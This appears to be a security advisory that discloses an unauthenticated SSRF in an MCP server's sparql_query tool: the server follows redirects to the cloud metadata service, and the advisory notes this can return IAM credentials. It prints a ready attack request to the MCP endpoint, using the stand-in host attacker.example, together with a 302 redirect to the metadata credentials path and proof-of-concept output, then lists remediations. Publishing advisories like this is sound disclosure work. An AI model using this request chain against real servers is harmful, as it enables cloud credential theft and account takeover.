Unauthenticated remote SSRF to cloud metadata → IAM credential theft
Description
On the project's shipped HTTP deployment, an unauthenticated remote attacker can make the server issue requests to internal-only addresses and read the responses. Pointing the sparql_query tool at an attacker-controlled endpoint that redirects to the cloud instance-metadata service (http://169.254.169.254/…) causes the server to follow the redirect (no re-validation), fetch the metadata, and return it — including, on IMDSv1, temporary IAM role credentials. This yields remote credential theft and lateral movement into the victim's cloud account.
Why it is reachable and unauthenticated
- No authentication / network-exposed (02).
src/transport/http.tsserves/mcpwith no auth (authorization_not_supported), no DNS-rebinding protection, and the shippeddocker-compose.ymlruns it asTRANSPORT: httppublished on0.0.0.0:3000. Any client that can reach the port can invoke any tool. - Redirects are followed without re-validation (01).
querySparqlEndpointvalidates only the initial endpoint host (assertHostnameResolvesSafe), then calls the globalfetch(), which follows HTTP redirects by default. The redirect target (169.254.169.254, or any internal host) is never re-checked against the SSRF guards. (DNS rebinding achieves the same without a redirect.) - The internal response is returned (08). SPARQL results — and, on error, the reflected upstream body — are handed back in the tool result, so the metadata/credentials reach the attacker.
Note: the strong DNS-pinning guard (createSsrfSafeLookup) protects the axios CKAN path and is not defeated here — it simply is not on the fetch path, and it cannot help once a redirect points elsewhere.
Attack
POST /mcp (no credentials)
{ "jsonrpc":"2.0","id":1,"method":"tools/call",
"params":{ "name":"sparql_query",
"arguments":{ "endpoint_url":"https://attacker.example/sparql",
"query":"SELECT * WHERE { ?s ?p ?o } LIMIT 1" } } }https://attacker.example/sparql replies:
HTTP/1.1 302 Found
Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>The server follows it and returns the credential document in the tool result.
Impact
- Theft of cloud IAM credentials (AWS IMDSv1
…/iam/security-credentials/…; equivalent metadata on GCP/Azure/DigitalOcean), enabling account takeover / lateral movement with the instance role's permissions. - Arbitrary internal SSRF to any host reachable from the server, with response bodies returned (read/write-by-GET internal services, admin panels, etc.).
- Unauthenticated, no user interaction, fully remote where the port is reachable (the documented container deployment binds all interfaces).
Mitigating conditions: Cloudflare Workers deployments are protected by the platform egress sandbox (internal addresses unreachable). IMDSv2 (session-token required) blunts the AWS-credential case but not general internal SSRF. Even so, the shipped Node/Docker deployment on a cloud VM with IMDSv1 is fully exploitable.
Proof of concept
poc/critical-chain-poc.mjs runs the faithful guard sequence and the unauthenticated-tool-call entrypoint; an attacker "endpoint" 302-redirects to a stand-in metadata service, and the credentials are returned to the caller:
Unauthenticated tool result returned to the remote caller:
{"Code":"Success",...,"AccessKeyId":"ASIA_STOLEN_EXAMPLE","SecretAccessKey":"...","Token":"..."}
RESULT: CRITICAL — unauthenticated caller received cloud IAM credentials via SSRF redirect.(See advisory 01's PoC for the raw redirect-follow, and 02's for the unauthenticated transport.)
Remediation (priority order)
- Close the SSRF (01): on the
fetchpaths, disable auto-redirects (redirect: "manual") and re-runvalidateServerUrl+assertHostnameResolvesSafeon each hop, or pin to a validated IP; fail closed on DNS errors. - Authenticate + lock down the transport (02): require auth, enable the SDK's DNS-rebinding protection (
enableDnsRebindingProtection,allowedHosts,allowedOrigins), and bind127.0.0.1(publish127.0.0.1:3000:3000in docker-compose) behind an authenticating proxy. - Stop reflecting internal bodies (08): return generic errors; never echo raw upstream responses.
- Defense in depth: require IMDSv2 / block link-local egress at the host/network.